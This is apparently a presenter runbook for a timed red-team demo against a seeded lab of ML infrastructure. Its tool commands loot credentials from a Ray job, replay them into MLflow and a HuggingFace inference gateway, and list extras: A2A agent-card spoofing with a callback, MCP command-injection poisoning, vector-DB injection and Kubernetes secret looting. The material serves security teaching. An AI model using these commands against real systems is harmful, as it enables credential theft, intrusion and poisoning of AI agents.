Tactic: the 20-minute credential chain (presenter runbook)¶
A tight, timed script for demoing the guided chain live (RTV tactic talk / booth). One command ladder, per-hop expected output, and the credential hand-off narration that makes it land. This is the presenter script — for the attendee self-serve version see Start Here; for the room/operator setup see the RTV Operator Checklist.
Premise (one line to the room): "One unauthenticated Ray dashboard on ACME's ML-platform box, chained across three teams — data science, then the app team — to real model inference. The same estate holds the fraud model, customer PII, and a Snowflake credential."
Setup: on the attack box, mkdir -p ~/lab-results and confirm ./aipostex version. Pre-run
bash ~/lab/verify-chain.sh (expect 13/13) so you know the chain is live before you talk.
Timing map (~18 min + buffer)¶
| Min | Hop | What the room sees |
|---|---|---|
| 0–2 | Framing | The estate, the premise, "credentials chain" |
| 2–6 | Ray | Unauth dashboard → a job's runtime_env leaks the MLflow gateway credential |
| 6–10 | MLflow gateway | The looted Basic credential opens the gated gateway → a run param leaks an HF token |
| 10–15 | TGI gateway | The looted HF token replays into real inference on a model-serving endpoint |
| 15–18 | Score | The coverage report card; the honesty (proof-strength) angle |
Hop 1 — Ray (unauthenticated) · ~4 min¶
Say: "No auth at all. Ray runs jobs, and a job's runtime environment carries the env vars the team used — including the MLflow tracking credential."
Point at: the MLFLOW_TRACKING_URI + MLFLOW_TRACKING_USERNAME/PASSWORD in a job's
runtime_env. That Basic credential is hop 2's key (ray-pipeline:…).
Recovery: if jobs shows nothing, the seed job may have aged out — re-seed Ray with
ssh labadmin@172.16.50.20 'sudo /opt/ailab-ml/venv/bin/python3 ~/lab/ml-platform/seed_ray.py localhost 8265'
(or sudo bash ~/lab/ml-platform/seed.sh to re-seed the whole ML host), then re-run.
Hop 2 — MLflow auth gateway (credential-gated) · ~4 min¶
./aipostex mlflow --target http://172.16.50.30:5000 \
--header "Authorization: Basic <ray-looted-basic>" runs --limit 20 \
--format json -o ~/lab-results/mlflow.json
Say: "This MLflow sits behind a reverse-proxy auth gate — unauthenticated calls get 401. But we're not unauthenticated anymore; we looted a credential from Ray. Replay it."
Point at: the 401-without-creds vs 200-with-the-looted-creds contrast, then the HF token surfaced in a run's params/tags. That token is hop 3's key.
Note for the room:
ailab-ds:5000is the gated gateway (the chain hop). There's also a directly-exposed MLflow backend atailab-ml:5000— both are realistic in an open estate; the gateway is here to demonstrate credential chaining, not network segmentation.
Hop 3 — HF TGI gateway (real inference) · ~5 min¶
./aipostex huggingface --target http://172.16.50.40:8180 \
--header "Authorization: Bearer <mlflow-looted-hf-token>" \
generate --prompt "incident response playbook" --force-exploit \
--format json -o ~/lab-results/hf.json
Say: "Third team, third service. The token we pulled out of MLflow is a HuggingFace inference token. We replay it and get real generated text back — actual model inference on their model-serving backend, reached purely by chaining looted credentials."
Point at: "inference": "real" and the generated text. The tool runs a no-credential control
probe, so it only calls this a credential replay because the endpoint genuinely rejects the
request without the token — not just because we sent a header.
Recovery: if the inference backend/TGI is unavailable the tool reports reachable/credential_gated rather
than a fake success — say so plainly; the honesty is the point.
Close — score it · ~3 min¶
Say: "We didn't just pop boxes — we measured it. Coverage of 170 planted findings, graded by proof strength: reachable vs. credential-gated read vs. real execution. The chain we just ran shows up as execution-confirmed."
The takeaway line: "AI infra security isn't about one service — it's about the credential flows between them. One open Ray dashboard became real inference on two other teams' systems — and that same chain is what reaches ACME's fraud model, customer PII, and warehouse credentials. You secure the flows, not just the boxes."
Beyond the chain — additional surfaces (optional)¶
If the room wants more after the chain lands, keep the chain as the spine and treat these as extras:
- A2A — "accepted ≠ exploited" (the real a2a-sdk agent at
172.16.50.40:8103, not the scored:8100mock):card-spoof --callback-url http://172.16.50.99:9000 --force-exploit. Acceptance is onlyinfluenced; a real nonce-correlated out-of-band callback is what upgrades it toexploited— a 30-second proof-ladder coda. Pre-record it; a live callback can fail on stage. The--callback-urlmust be routable from the agent — the attack-box IP here (172.16.50.99), orhost.docker.internalfor a dev-machine sandbox pre-record (alocalhostcallback staysinfluenced: the containerized agent can't reach your host). - MCP RCE · Jupyter secret-mining · vector-DB injection — the estate's other open surfaces
(
mcp poison --mode cmd-inject,jupyter ... read-notebook --mine-secrets,vectordb ... inject --verify-persist), the same extras the RTV tactic offers early finishers. - K8s supply-chain (separate target): the cluster angle runs against the dev-machine k3s
sandbox (
sandbox up k8s, vuln:6443/ secure:6444), not the 5-VM estate — anonsecret-readrecovers the model-registry HF/AWS creds andsa-lootproves the stolenpipeline-runnerSA can write the registry (supply-chain tampering). A presenter beat, not an attendee estate hop.
Pre-flight checklist (run before you present)¶
-
bash ~/lab/verify-chain.sh→ 13/13 -
./aipostex versionprints the expected build -
mkdir -p ~/lab-results(empty it for a clean demo:rm -f ~/lab-results/*.json) - Ray
jobsreturns the seeded credential-bearing job - TGI / inference backend reachable (or be ready to narrate the honest
reachablefallback)